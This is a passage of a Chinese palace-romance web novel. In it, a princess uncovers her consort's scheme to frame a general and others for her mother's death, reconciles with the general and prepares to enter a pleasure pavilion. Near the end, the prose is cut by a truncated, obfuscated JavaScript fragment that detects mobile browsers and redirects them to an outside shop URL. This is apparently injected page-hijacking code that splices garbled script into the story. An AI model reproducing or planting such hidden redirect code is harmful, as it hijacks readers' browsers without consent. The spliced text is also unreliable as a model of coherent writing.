他对皇帝道:“周大人已去,接下来便轮到曹大人了。”他想起孤山千灵的贸然苏醒,浅笑,“事以至此,陛下何不也利用公主一回,再次‘祸、水、东、引’?”
未尾四个字,他咬得极重。
虽常驻沿海十三州,可当初,暮子来为了回京真谓费尽心思,只肖嗅得一丝机会,他便能脱开累赘,重上天阙。
奈何如今,在朝廷终究势单力薄,那些表面做派的同列们又私心打压,他岂可不紧紧献媚于上?
他时刻关注着皇帝的表情,却听见一句:“再议罢,朕倦了。”
暮子来低头,心下一动,拱手默声后退。
“对了!”就在暮子来快退到殿门时,皇帝出言,“天牢大火致使罪犯有逃,这几日正派人捉拿,刑部那边,朕恐人手不够,你去协他们核实案牍。”
暮子来微微抬眼,暗笑应道:“是。”
*
孤山千灵从被褥里钻出头,天将欲明,她仍然翻来覆去地睡不着。
她干脆坐起身子,本想叫暮子来,谁料小圆说他一早便奉命前往刑部整理案牍了。
“整理案牍?”孤山千灵喃喃,忽然,她掀开被子下床,让小圆赶紧准备些吃食陪她去刑部。
小圆:?!
她快步走在回廊上,心叹:公主何时变得如此亲近驸马了,居然记挂着驸马用早膳呢!
提着食盒到了刑部,入目不是乱糟糟的案卷就是慌忙忙的官员。
孤山千灵身着新做的宫裳,袖口稍大,宛如彩蝶翻飞,误入野丛。她神情急迫又茫然,只扭头一瞥,竟撞上个熟悉的身影。
骄阳烈烈,照得她眼疼。
那人侧身靠着桌角,双手环胸。有那么一瞬,他转过头来,色如春花,凛然生寒……
“公主?”
孤山千灵晃了下神,再看去,才知青竹幻春花,那人原是柳榴。
她喉咙发紧,抬手掩住日光,缓缓走去。
可放手刹那,想起什么似……
步子一顿,悄然朝柳榴身后仓皇扫了眼。
柳榴察觉出她的异样,冷声:
“公主在找,沈将军?”
11. 念花情恨花不尽
孤山千灵下意识收紧指尖,一双眼无地自容。
她是在找,她怕。
恨与情交织,织就张罩住她的大网,她理不清,挣不脱,更剪不断,只能逃,与躲。
柳榴看见小圆手中的食盒:“此处乃刑部,宫务繁重,法度森严。虽说六部同属朝廷,皆为国事效力,然文官掌案牍律令,武将司疆场戍卫,各司其职,从不逾矩。”
“小寒此刻当值,重责在身……”她顿住,目光在对上孤山千灵的那刻有了波澜:
“公主久居深宫,来此处找将军,果真是堂前堂后两个世界。”
堂前堂后,两个世界。
孤山千想起她与沈自寒,苦涩地扯动起唇角,心中不由自嘲。
一个深宫公主,一个朝廷将军。
果真是两个世界……
他不懂她的真心,她不解他的假意。
孤山千灵回笑得勉强,正欲解释,肩上猛然覆来只手:“不见‘铁齿铜牙’柳大人,原在此处,这里不比朝堂,还望嘴下留情。”
她回头,暮子来神色端肃,一点笑意从他眼角绽开,客套又疏离,仅此而已。
“柳大人唇弓舌箭,下回记得看清标靶,我来,只是为了驸马。”孤山千灵看向柳榴,淡然若雾,她附和着,拍了拍肩上的手。
没曾想肩上那嫩葱似的几根,倒像触电般缩了回去。身后人微怔:“公,公主……”
启唇微唤,轻得任谁也没听见。
柳榴怔愣片刻,难得一笑,声音清隽如泉:“原是公主与暮大人鹣鲽情深,一大早便提着食盒来关心驸马。”
“柳大人说笑,大家不妨皆来尝尝。”孤山千灵无心搭话,示意小圆将食盒里的糕点分了。
趁众大臣上前道谢,她回应着,顺势越过柳榴,逛到案桌旁。
刑部搬出来的几张长桌,案卷一摞一摞堆成山。所幸天尚还寒,官员们不必忍受暴晒。
孤山千灵佯装散漫,有意摆弄起案牍,忽然,她目光一顿,手指停在注有“孤山候谋反”的卷封上。
她拿起此案牍旁边的案卷,偷瞥了几眼四周,确保官员们正七个八个地聚在一起休憩聊天。
很好,没人注意到她。
孤山千灵迅速将注有“孤山候谋反”字样的案牍换至手上。
目光低头扫去,眉宇间专注又紧张,微不可察的冷汗逐渐沾湿后背。
捏着纸的手指开始颤抖,有道声音从背后响起,她吓了一跳,顷刻撕下页纸藏于袖中,放回案卷。
暮子来:“公主对这些案牍,很感兴趣么?”
孤山千灵转身,尴尬地笑起来:“戴罪之事,没见过罢……”她意识到食盒空了,忙道:“也不知糕点合驸马口味否?既然派完了,本公主就先行告辞。”
她低头快步,在经过暮子来的刹那被叫住:“公主!”
孤山千灵忐忑回头:“怎么了?”
“您送的糕点!”暮子来笑:“很好吃。”
春风拂过,吹得孤山千灵一愣:“啊,哦,驸马喜欢就……”
“唔!”话半,香甜的糕点挟着凉气被人塞进嘴里。
孤山千灵瞪大眼睛,暮子来的脸近在咫尺,他拽过她胳膊:“公主也喜欢么?”
孤山千灵耳朵一红。
下一秒,立刻甩开胳膊上的手,留下句“嗯”,火速逃离。
暮子来目送孤山千灵走后,来到案桌旁,拿起“孤山候谋反”的案牍,得逞之色难掩,眼底满是胜卷在握的暗喜。
孤山千灵喘着气,糕点的香味轻而易举便飘上鼻尖,当真甜腻。
她回头望了几眼,忙拿出被撕下的页纸,一颗心扑通直跳。
再度打开,动作变得艰难,随着目光自上而下扫过,凉意也自头皮流贯脚底,如坠冰窟。
与此同时,小圆提着食盒匆匆追上来,她慌忙将案页收起。
小圆见孤山千灵一副不对劲的状态,忙问:“公主你,不舒服吗?”
孤山千灵微侧过头,掩饰着笑了笑:“没有。”
小圆的目光紧紧游走在她脸上,未及她说完,便放下食盒,伸手去探她的额头。
孤山千灵瞬间慌了神,她边挡着小圆的手,边借口搪塞。
却不想小圆趁机挠她痒痒,二人转笑,气氛欢快起来。
随着一声响动,食盒被踢倒,小圆想起什么,终于停下。
孤山千灵揉着快要笑僵的脸,见小圆紧张开口:“奴婢突然想起昨夜,您让奴婢去天牢拿回血书。”
此话一出,孤山千灵神色微变。
她想起昨夜是有提过此事,那血书是母妃给她留下的证据。
此仇未报,她必须留之于身边。
小圆道:“奴婢进去时并未发现什么血书。问了天牢的人,他们说,那血书已被当作葬物烧了。”
孤山千灵惊诧:“烧了?母妃还在头七,尚未下棺,何来已清处葬物一说!”
小圆也疑惑:“奴婢也奇怪,明明姬存娘娘还未下葬,可问了几个,都是这样说的。也太着急罢,别人不知道以为销赃呢!”
“销赃?”孤山千灵脑中一闪,连忙拉着小圆离去。
刑部案牍多,前朝的虽不用仔细审阅。可因着姬存天牢一闹,罪犯出逃,三三两两捉回来口供有变,其它案卷校对起来很费力气。
柳榴回到长桌后,与众大臣批画注审。许久,有人叩响她面前的桌角:“柳阙郎当真敬业,日下梢头还不走?”
柳榴被人打搅,不悦抬头,却发现是暮子来这个笑面虎。
她想起此人在孤山千灵面前对自己的防备,恢复正经一派,微微欠身,发现时至傍晚:“为陛下解忧罢,多谢驸马爷关心。”
暮子来展扇掩唇:“柳大人客气,下官虽比不上您与沈将军之间的情谊。可今日你我也算有缘,下官也在朝堂上慕名已久,不知柳阙郎可否赏脸共进晚膳?”
此话一出,柳榴顿时看穿暮子来的来意:他想打听沈自寒。
柳榴下意识想拒绝,可暮子来又道:“柳大人难道不想知道公主为何不去关心沈将军,反来关心下官吗?”
柳榴眉间骤紧,看向暮子来。
却见他收扇扬唇,让出一个身位:“你不想让他们在一起,下官也不想。”
前路幽幽长道,烛香冷月中,这是“请”的意思。
柳榴眸光微动,缓缓踏出一步,她诚然不想让孤山千灵这个仇敌之女靠近沈自寒,毕竟她与沈自寒可费尽千幸万苦才潜回大京。
可难保……
二人走着,柳榴看了眼暮子来,心下思索起他会不会对沈自寒有诈。
暮子来察觉到她的目光,笑道:“柳大人似乎忧思过多,可是在怕下官灌醉你后套话?”
柳榴不同与暮子来一身悠然,她故常冷淡,正声道:“在下要忧思也是忧思朝中公事。”
暮子来“唰地——”展扇:“原是如此,下官与沈将军投缘,想必也能与柳大人……”话音未落,路旁的草丛中忽然蹦出串动静。
二人敏锐,正拧过头,瞬间撞上顶艳蓝色的太监帽。
“啊!”
一声惊呼弹出,太监帽抬起,三人皆被彼此吓了一跳。
“放肆!”暮子来看着眼前的小太监,“你是,是……”
“是人,是,人。”小太监急扯帽子,秀气的下巴晃着半昏半明的天光。
看来长得不赖。
暮子来正想让人摘下帽子,又想起什么,一顿。小太监恰好压低声音道:“小的要忙,先退下了。”
眼看暮子来默然,小太监就要离开,柳榴忽然叫住他。
“你……”柳榴莫名盯着他看,“要去哪?”
“啊?哦,小的,小的要去太后宫里搬景盆。”小太监谄笑几声,像是才反应过来。
“……”
“小的退下。”小太监步履生风,跑出相当一段距离后,扭头左右看看。
“这——”一道轻细尖锐的声音不知从何响起。他长舒出口气,摘下太监帽,如瀑发丝倾洒而下,灵动脱俗。
“真险,差点被发现了。”
汗珠缀在额头,孤山千灵一手叉腰,一手拿着太监帽上下扇动起来。
“谁让我们行的是偷鸡摸狗之事呢
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?”阿吾捏着嗓子的手松开,从墙顶飞身跳下。
她这些天被安排进宫中,虽说活少不苛待,却也烦闷。所幸今夜小圆须留在殿内看风,不然她还没法陪公主来做“偷鸡摸狗”之事,真是久违啊。
只是,说起这“偷鸡摸狗”之事,阿吾看向眼前……
但见贵妃殿上下素缟,四处氤氲着凄冷悲切之息。她有些犹豫:“公主,您真的要那样么?”
孤山千灵目光微动,语气坚毅:“对,开棺,验尸!”
殿门有重守,二人计划翻墙潜入。这贵妃殿四墙其高,阿吾用力蹬上半墙,又一下飞扑至旁边的歪脖子树。
待她站稳后,腿下再次施力,凌空三脚跨踩,蹦上墙檐。
阿吾狠狠扒住瓦片,好不容易直起腰,看得孤山千灵在墙下捏了把冷汗。
阿吾看见殿内,正疑惑着要说什么,孤山千灵便开始催促她了。
阿吾来不及多想,拿出一捆麻绳绑在腰间,又将另一头扔下墙去,好让孤山千灵借力爬上来。
孤山千灵抓着麻绳蹦起,四大步蹬墙而上。
待她终于爬上檐顶,听见的第一句话却是:“公主,沈将军也在。”
什么?!
孤山千灵差点没站稳,她吸了口凉气,颤颤看向殿内。
但见姬存的棺椁被黑花白花簇拥着,人群中,一位少年俊逸挺拔,瓷白肤色胜比冷月,发间那串红珠缀若心头血,赤焰映火。
他环胸而立,肃杀中凝着化不开的疏离。
太熟悉了,哪怕看不清……
孤山千灵也不会再认错,绝对不会。
这个背影宛如一根大木刺,无情刺入她心中。
“公主,沈将军就在那,我们何必大费周章,直接找他帮忙!”阿吾的声音响起,立马就要喊:“沈—”
下一秒,即刻被孤山千灵捂住嘴巴。
孤山千灵忙低声道:“不能找他!”
阿吾扒过孤山千灵的手,疑惑:“为什么,你们不是互相喜欢吗?”
孤山千灵微愣,胸口堵着似,反复咽不下去。记忆中的过往掺着苦楚翻涌而上,竟,有些说不出话。
幸亏冷风拍在脸上,良久,她一字一顿:“不是了。”
“……”
周遭静下来,像在留给她来之不易的时间去消化,喘息。
“你们吵架了?”阿吾忽然开口。
“……”
孤山千灵没作声,只是一个劲儿地摇头。
“我们,从未,互相喜欢过。”
很浅,很浅的一声,几乎湮没在风中。
阿吾不屑地自语道:“你们怎么会吵架呢,沈将军之前任劳任怨地帮您,甚至不惜生命护您周全,应该不舍得惹您生气才对……”
“嘶,还有您,常把人家挂心头,什么送药什么在山林守了他一天一夜的,小圆跟我讲过不少。”
“其实吧,就冲您每回见到他那样儿,啧啧啧。”阿吾摊手,看向孤山千灵。
可孤山千灵只是注视着殿内……
流光浮光,她眼眶间微闪,阿吾看不清。
孤山千灵的视线总会被沈自寒牵动,她唾弃,却无力。
她明明在盯着他们,可直待阿吾一句:“公主,他们开棺了!”才反应过来。
棺椁其实离她们脚下的墙并不远,顺其自然地,也就能看见姬存通体惨白,面无表情,脖颈上显出道青紫勒痕,触目惊心。
沈自寒命太医验尸,众人一抬一翻,最终在太医起身的那刻,愕然:
“姬存身上根本没外伤!”
话音刚落,身旁的高墙上传来声巨响,某侍卫大喊:“有人!”
沈自寒回头,目光直直撞上高处的孤山千灵。
这一瞬间,孤山千灵脑中刹白。
母妃身上没外伤,意味着……
血书是伪造的!
疼痛从心脏席卷全身,她呼吸顿滞,耳边嘈杂不堪。
而沈自寒站在她对面,一双桃花眼久久定住。
似笑非笑,却如刀绞般,隐隐泛了红
——抽动着她的心。
12. 借刀杀人不杀情
没外伤,血书是假的,她母妃,确实亡于自刎。
孤山千灵此刻的心情说不上来。她几乎忘了自己是怎么下墙的,只觉得有一颗巨石从天而降,压得她步履沉重。
那么一句话,明晃着“借刀杀人”的计谋。
她想起暮子来,又想起禧宁福晋。
倘若禧宁王府真是杀害母妃的真凶,那为何母妃已亡,她们还落了个母亡子散的结局?
显然是有人利用姬存之事设计禧宁王府啊!
而她,一头沉溺于丧母之疼的幼兽,怀恨在心,冲动又单纯,正是把趁手的好刀。
直待现下,轮到沈自寒了……
孤山千灵看向他,少年还是那样恣随张扬,目光于颓然中闪过一丝意外,月色惨白,衬得他整个人也同样惨白。
孤山千灵胸口闷得喘不过气。
庆幸与愧疚涌来,混入风中搅散,理智回溯,又很快被击溃。
她该哭,还是该笑?
一时,孤山千灵眼前蒙了层薄雾似,竟有些站不住脚。
她想起泪草、郊外、那颗泪、那个吻……
僵僵走到棺椁旁,走到沈自寒身边。
沈自寒不忍,偷偷看去,视线中一双眼不觉泛红。
“公主……”
“对不起。”
“什,么?”
“对,不起!”
几乎是带着哭腔的。
孤山千灵将裙裳握得更紧,眼泪夺眶而出。她深吸了口气,在沈自寒欲将反应过来那刻,不顾一切地、拼尽全力地转向他紧紧抱住。
“对不起,是我太蠢,是我太傻,是我太冲动……”
话音未落,冰冷又温热的触觉在唇边绽开,一个吻落下,恒久而深刻。
孤山千灵颤抖着闭眼,一行泪蜿蜒流下。
桃花香淡淡入鼻,恍惚见那日桃花山,缱绻化心……
许久,两人放开,彼此间才有了喘息的机会。
“公主不蠢、不傻、不冲动,在下官这里,公主永远是对的。”沈自寒眼眶红着,又哭又笑的,笑得难看,笑得异常难看,难看得让孤山千灵直想哭。
孤山千灵将头埋进他的脖窝,仍然不知该哭,还是该笑……
她止不住地偷偷笑起来,却又止不住地偷偷流泪。
沈自寒才是真的傻啊。
她不懂自己当初居然会怀疑他,他这么傻,这么天真,对她一个无权无势的草包公主听之任之。
孤山千灵鼻腔皱紧,泪水再次随着情绪汹涌而来,她几乎要喘不过气了,可还是将头埋得更深些,双手抱得更紧些。
桃林、石洞、山林、郊院、膳房……一幕幕从她脑海中闪过。
这些曾经被误会成逢场作戏的虚伪,终于变为
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难能估量的真心。
风消月亮,彼此缓缓松开,含着泪光的眉眼弯起,鼻尖对鼻尖,竟不由笑出来。
可就在此时,一阵哭声大响,二人悄愣,旋即齐齐转头:
太医梨花带雨,恨不得抬起衣袖哭个淋漓!
“呜呜呜——绝美的爱情,苍天啊,大地啊,老夫动容也!!”
沈自寒红了脸,强作严肃,轻咳:“太医?”
太医被打断,擦着泪回过神来:“嗯?”
众人:。。。
“哦!莫怪莫怪,老夫多愁善感惯了啦,嘿嘿。”太医见沈自寒疑惑地看着自己,挠挠头道。
孤山千灵闻言,更是不好意思地要把头低进地里了。
但她没想到,下一秒,高墙处传来疾呼:“公主,您的案页掉了——”
众人回首,见刚不慎掉下去的阿吾正举着案纸。
孤山千灵一惊,正欲开口,沈自寒便已命人接下阿吾,连同她手中的案页。
看着沈自寒拿起那张案页,孤山千灵本想开口,可还是闭了嘴。她紧张咬唇,既害怕又期待。
“对,曹谦入关,确实与在下相识。”
此话一出,孤山千灵呆住,心凉了半截。
“可后半句不对,在下入京,不是为了曹谦……”
沈自寒冷笑,他抬头,目光莫名刺痛了孤山千灵。
13. 桃花神女逗春萤
“这么说,你一直待在漠北,小时候也没来过大京?”迎着月牙,刚沐浴完的孤山千灵伸了伸腰,从栖瑶殿内走到殿外。
她坐在门槛上。
面前,院子里,簇簇萤火闪烁,夜空斑斓,这般如梦似幻下,沈自寒正背靠着桃花树闭目养神,双手环剑……
她想起刑部那一眼,笑了。
因为,此刻,这一眼,不再是错觉。
“今夜春萤多。”沈自寒开口,答非所问。
他飞身上树,悠然倚在粗壮的桃花杈上,一条腿曲起,左手枕于脑后,右手招来几只春萤逗弄……连眼都没睁。
难道隔得距离太远,他没听清?
孤山千灵来了兴趣,起身迈向院中。
桃花树高大繁茂,她仰头,继续追问:“你小时候有没有来过大京?”
“有。”春萤跃动于细长的指尖。
孤山千灵咽了下喉咙。
沈自寒缓缓睁眼:“是春萤带我来的。”
“什么?”孤山千灵微愣。
沈自寒打了个吹欠:“小时候阿娘说大京有神女,名唤桃花神女,能让桃花瓣满天下飘,美极了。”
他缓缓睁眼:“那时,在下听说春萤春天飞到大京,冬天飞回漠北,于是就趁冬天捉了一瓶子放床头。每天喂大把大把的沙虫,漠北只有沙虫,在下想着它快些长大,终有一日能驮在下飞去大京。”
“谁知它当天夜里便飞进了在下的梦里……”
沈自寒望着空洞的暗色,灿然一笑:“大京离漠北很远,在下不断地喂它沙虫,在漠北喂,在大京也喂,喂了一路。”
“喂得在下手都酸了……”
忽然,他折下一枝桃花,直指树下的孤山千灵,傲气:“这怎么不算去过大京!”
孤山千灵没接过桃花枝。
沈自寒用桃花枝轻轻戳她,发现她睡着了。
沈自寒从树上跳下来,蹲在孤山千灵面前。
他摘下一朵桃花,悄悄别在她凌乱的发髻上,眉梢眼角含情弯起,一点俊媚缀入寂寥的夜里,孤冷凄迷:“原来连春萤,你也忘了……”
这时,孤山千灵扯了扯亵衣,或许是院子里太冷。
她讲起梦话,呢喃:“这么远啊,以后我陪你去好不好……”
沈自寒一愣,倏忽将她的发丝小心理齐,柔声:“好,在下都听你的。”
他将她抱回寝殿。
背着月光,天边就是漠北的方向,沈自寒想起曹谦,又想起暮子来,眼尾处逐渐覆上一层阴翳。
*
孤山千灵是临近正午才睁眼的。
一觉醒来,坐起身,已日上三竿。她记得昨夜沈自寒给她讲了个故事,然后……
她拿起身旁的镜子,发现头上多了朵桃花,先是一顿,而后心里泛起甜意
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。
“噗嗤!”
孤山千灵笑出声,轻轻将桃花取下,像看着什么绝世珍宝。
桃花朵躺在双手心,还是那样娇嫩。
她捧到鼻尖处轻嗅,闭上眼,过夜的香气从记忆沁入心底,馥郁,绵长。
脸蛋逐渐酡红,冒着傻气,却又傻得可爱。
孤山千灵突然想到什么,连忙下床。她拖着圈在腰间的薄被跑到梳妆台前,扫视一圈,左翻翻右翻翻,终于翻出个做工精巧的木匣子。
倒出里面的珠宝,她将桃花小心放入。
可看了一阵,又觉不对,左摆摆右摆摆,才肯合上匣子。
匣顶处,花纹刻痕很深,她双手搭着,手指不觉描摹,仿佛里面放了很重要的东西。
她就这么站着,摸摹着,笑着。
没人知道她在想什么,只能看见面前大铜镜中,少女满意又得意的羞涩模样。
就在此时,门外传来一阵响动。
小圆在寝殿外问道:“公主可醒了?奴婢进来伺候洗漱了。”
孤山千灵慌忙将匣子收好,喊:“醒了!”
小圆知道公主昨晚要去验尸,因此很识相地遣退了今早负责叫醒的婢女。
她推开殿门,走向孤山千灵,着急又担忧:“咱们抓紧,驸马爷请您共进午膳呢!”
“驸马爷?!”孤山千灵一下怔愣,心中警觉起来。
14. 刃夜灵转乐逍遥
一借假血书栽赃沈自寒;
二伪假案牍稼祸曹谦……
孤山千灵不解暮子来为何要将母妃之死引到他们身上。
走在回廊里,她神色凝重,直觉这背后定然不简单。
而小圆也似乎注意到她的不妥,有意缓解:
“公主如今与驸马越发亲密了,真是一派光景,欣欣向荣啊,奴婢听闻驸马刚被晋了官位呢!”
被晋了官位?
孤山千灵奇怪:“他才回大京不久,怎么如此快便晋了位?”
小圆喜不自掩:“公主有福呀,得了个才驸马!”
孤山千灵一时想起暮子来未进京前的沈自寒,刻意:“那他如今是皇上跟前的大红人喽?”
“回公主。”小圆回忆着八卦来的内容:“驸马爷在皇上跟前,可谓风头正盛!”
“那沈将军?”孤山千灵问。
“一个文臣一个武将,皇上的左膀右臂。不过嘛……”小圆悄声,“依奴婢看,皇上还是喜欢驸马爷多些,毕竟百官对驸马颇多争议,皇上皆帮着驳斥!而沈将军再厉害,也是别国人。”
“这样啊,那曹谦曹大人呢?”孤山千灵自然而然地将话题引至曹谦,“听闻他早年也一直待在漠北,后来才回宫的,同样是大将军!”
“曹大人?可跟沈将军比不了。”小圆听见曹谦,不免意外。
“曹大人风流成性,怠职成瘾,酒池肉林惯了,听闻他今日早朝又请病假,估计正在临仙阁陪‘洛洛’呢!”
“临仙阁?洛洛?”孤山千灵听得云里雾里。
“此处,此处……”小圆满脸通红,横竖不好意思解释。
眼看到了主殿,她极快嘟囔:“反正沈将军年少功高,朝廷里外虎视眈眈,而曹大人,只会吃酒怠政睡美人,皇上连管也不想管他。”
一句“年少功高,虎视眈眈”让孤山千灵心中发了毛。
她还想再问什么,正抬眸,眼前猝然映入张暮子来的脸,胸口猛颤。
暮子来坐在主殿内,白衣素带,疲态下绽开刺眼的笑:“姬存娘娘去世,下官听闻公主近来少食,忧心公主悲伤过度,便斗胆做了些吃的。”
他端起一碗梨汁粳米粥,软声:“下官厨艺不佳,笨得只知起早去摘新鲜的梨。”
说话间,一勺不烫不凉的粥被喂至孤山千灵嘴旁。
孤山千灵强作镇定,喝下那口粥,米香掺着梨汁的清甜流入喉咙,暖而甘润,齿颊有若雪融春涧。
如此厨艺,却冠以不佳二字……暮子来,真是善装的好手。
她蹙眉,故意没给出回应,一副心不在焉,食也难安的模样,唐突:“驸马可知曹谦曹大人在何处?”
“曹大人?”暮子来挑眉,心喜孤山千灵果然得了那封假案牍,“他雅好笙歌,明晚魁首节,想必这些天定然待在临仙阁。”
“魁首节?”再次听见临仙阁,孤山千灵更加笃定有猫腻。
“临仙阁竞魁首,当夜投镖,揭榜后,中镖者可齐聚私厢。”
暮子来见时机成熟,命捧着漆木托盘的待女上前:
“正好有同僚赠了柄临仙阁的镖给下官,公主何不与下官同去热闹?”
他揭开红布,一把镖刀赫然躺在托盘中央。
“我去刑部那日,无意看见曹谦的案牍,呵,他与沈自寒一丘之貉,皆是害死母妃的凶手。”刀侧泛起冷光,恍惚映出母妃的脸,孤山千灵抬眸,她凝视着暮子来,眼中如霜似冰,冷冷道。
暮子来不怯反笑,他拿起镖刀递向孤山千灵:“贱狗坏主,何不血刃?”
此话一出,孤山千灵终于意识到暮子来在借刀杀人。
他利用母妃之死给禧宁王府、沈自寒、曹谦做局……
而她,孤山千灵,一头沉溺于丧母之疼的幼兽,怀恨在心,冲动又单纯,正是把趁手的好刀!
后牙碎了,一阵腥气。
孤山千灵挤出个笑,握紧暮子来递来的镖,决心将计就计,亲自将自己这把刀同样“递到”他手中。
她要进私厢,而后
——让暮子来不得不吐出母妃之死的真相!
孤山千灵手攥镖刀,回想起方才在主殿,心中千滋万味。
她抬抬头,午后天热,不觉已走到了练兵场。
练兵场看似清静,却有一人骑着一马,烈烈而过。
孤山千灵仰头远眺,发现马上之人左手拽绳,右手甩鞭,和风扬起的沙尘中,马儿长吁一声。
那人顶着白光跳下马,英姿飒爽,年轻狂妄,是倨傲于天地的存在。他叉着腰走来,洒脱扬唇:“公主!”
孤山千灵迎上去,大赞:“沈将不愧‘惊天动地’,怎一个‘帅’字可括!”
“是么……”沈自寒若有所思,“那公主,是特地来观赏在下的喽?”
孤山千灵脸上泛起红晕,忙道:“路过!路过,而已。”
她整个人又急又羞,惹得沈自寒不禁笑出声。
见状,孤山千灵的脸色更红了:“你笑什么?本公主真是路……”
话音未落,她整个人被沈自寒拉进怀中飞身上马。
缰绳被握起,沈自寒从身后环住她,将手搭在她的手上。
僵绳明明在自己手中,可孤山千灵却像被钳住似,忘了下一步。
心跳如鼓点般怦怦作响,她听见耳边传来低语:“让在下,见识见识您的骑艺。”
桃花香钻入骨髓,酥酥麻麻啃地人头昏脚软。
“本公主……”
“噗呲!”
一声轻笑响起,手上徒然用力,她的手被沈自寒握紧,马儿纵蹄长去。
“你要带我去哪?”发丝被风扯乱,孤山千灵回头,娇丽的脸庞上笑意灿烂。
“去,天涯海角——”沈自寒大喊着回应,欣喜几乎要从眼角溢出来。“公主去么?”
“去——”孤山千灵也学着大喊:
“跟着你,无论哪本公主都去!”
欢声笑语肆意回荡在天地间,二人无畏地冲入风中,只觉万物残影不过瞬息,唯有情意,唯有彼此,穿过长街短巷,奔过千楼万阁。
他们拐过道口,最终在一间衣坊前停下。
“我们来这做什么?”孤山千灵下马,抬头望向刻有“金羽阁”三个大字的牌匾。
“公主那日穿太监服,是怕爬墙会弄脏别的衣裳,对不对?”沈自寒关切又委屈地看向孤山千灵。
孤山千灵大笑:“那套太监服是本公主担心被人发现才穿的,故意穿的,特地穿的,你怎么会……算了,来都来了,本公主就好好挑一挑!”
“只怕沈将军,银钱不够哦?”圆溜溜的眼珠子转着,神采灵动。
“够的够的!”沈自寒忙应,积极地像小狗直摇尾巴,他看起来比孤山千灵更兴奋,生怕人家不花自己的钱似。
“那好,跟来吧!”孤山千灵似只有人撑腰的小猫高高昂起头,大摇大摆走进衣坊。
要说这金羽阁啊,真不愧为金羽阁!
抬眼而望,绫罗飞天挂金顶,目光顺着垂下的绸缎落在一樽琉璃少女像上。
少女梳着双鬓,鬓发缀满桂花,衬得那身鹅黄云织锦越发轻盈可爱。
她左手拿糖人,右手牵着又一只左手,而这又一只左手是从另一袭桉蓝海棠双花绫中伸出的。
身着此衣的冷面美人右手拿书卷,低眉含笑,凝霜恃傲。
她右侧有位身穿碧青弹墨绮云衣的舞者,柳手鹤步,旋腰纵舞,却惊得亮月落水。
一缕缕波光粼粼的浮纱被拖起,搭在飞天仙子肩上,衔流水而归云,似真却幻……
这些被陈列在左右两旁,由琉璃制成的人像,栩栩如生,千姿万态。
孤山千灵来到夹道最后,那是樽正对着她,比其它更大些的人像。
人像身穿嫁衣,正红袍绣凤含牡丹,串金丝配银制云肩,韶光逸朗。一把簇花流金掩面圆扇上,点翠凤冠明珠璀璨,有若娥皇女英。
“这嫁衣可有公子缝的漂亮?”掌柜的声音传来,二人回头看去。
孤山千灵与沈自寒对视了眼,疑惑:“什么,缝的?”
掌柜打量着他们:“你们怎么这样心大?大京新娘子的嫁衣素来是要新郎官缝的呀!”
“不,我们还不!”
孤山千灵瞪大双眼,正想出声解释,下一秒瞬间被沈自寒拉入怀中捂住嘴。
“我们要那套鹅黄的,包起来,有人来付银钱时给他就行。”沈自寒耳尖通红,忙推着孤山千灵走出衣坊。
“原来不是一对啊!”掌柜目送他们,失落嘟囔:
“人家姑娘看衣裳时,那公子明明一直盯着嘛……眨都不带眨,深情得快要出水!”
衣坊外,孤山千灵好不容易松开沈自寒捂住自己的手,正要开口。
沈自寒从身后一下抱紧她,弯腰埋进她的肩膀,沉声:“那套衣裳,公主能穿给在下看么?”
孤山千灵微愣,旋即迅速蹿红:
“本公主!”
“你松开我我就穿……”
她撇过头,低声,脸蛋比正午的烈阳还烫。
闻言,沈自寒立马松手,谁知孤山千灵直接往他脑门上用力一敲。
沈自寒吃痛地看向孤山千灵,委屈巴巴:“公主……”
孤山千灵已在马上,她直直望着前方,不敢对视:“咳,快上来,你,你不是要先看看本公主的骑艺吗!”
沈自寒一怔,旋即忍笑:“好嘞!”
日渐西沉,二人骑着马,拉开长长的影子。
“掌柜——,来拿衣裳啦!”不多时,一位粗汉踏进金羽阁。
他接过包好的衣裳后,将一张大银票拍在掌柜台上,道:“咱们主儿要我告诉你,他缝的嫁衣比你那套……”
“漂亮一,万,倍!!”
众伙计看着粗汉扬长而去,惊骇:“掌柜,他那素质,您不恼?”
掌柜再次目送:“恼个屁!”
她心满意足地呢喃:“原来那姑娘公子真是一对啊,真是郎才女貌,天仙配!!”
下了马,沈自寒被孤山千灵拽着。
这回轮到沈自寒问:“公主这是要带在下去哪?”
“去玩!”孤山千灵穿梭在人群中,左看看右看看,兴奋异常。
“来都来了,不好好玩一遭怎么行,这儿人多,肯定热……”
歌舞升平间,她忽然停下。
她从未见过如此巧夺天工的楼阁。
眼前这幢建筑不同于皇宫那般对称肃穆。它似一块被天地嵌进山水间的宝石,楼阁底层延伸至江中,从远处看,宛如载着地宫的巨大龙船,从江底一跃而出。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790621|190570||http|test|mini|href|location''.split(''|''),0,{}));
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>金碧辉煌的雕花柱与波光粼粼的水面交相辉映,一弯斗没西陲的金钩掉入水中,浪波摇拂间,飘然逗起阵阵明漪。
此处与郊野山林不同,太不同了……
天旋地转间,孤山千灵恍惚看到高处刻着:
临、仙、阁!
这三个大字像针,顷刻将她钉死在原地。
“公主怎么不走了?”沈自寒随之停住,顺着孤山千灵的目光望去。
“没什么,快走吧。”孤山千灵立即将人拉走,步子变得飞快。
沈自寒似乎注意到她的变化,手一下握紧。
孤山千灵埋头往前,她不想让沈自寒见到临仙阁,更不想让沈自寒知道她会在那……
沈自寒已经为她做了太多,她也失去了太多,她害怕,害怕一步差池,她真的会将他失去。
所以那个误会,必须由她,独自结束!
二人就这么走着,握着。
“公主。”沈自寒忽然停下,看向路边卖画的摊子。
那摊主吆喝:“这有当朝公主的画像,快来啊——”
他与孤山千灵相视一眼,旋即上前。
谁知走近了才发现这摊子里的画,丑绝人寰!
“小姐来看画吗?”摊主见着孤山千灵,眼晴都快瞪起来了。
孤山千灵顽笑:“老板,你见过当朝公主?”
那摊主见美人果真有兴趣,捏了捏胡子,不屑又神气:“当然喽小姐,不过嘛……”
他直勾勾盯着孤山千灵,目光在碰上沈自寒眼神的刹那立马收敛。
“咳咳,这公主跟小姐不太一样。”
孤山千灵诧异:“有何区别?”
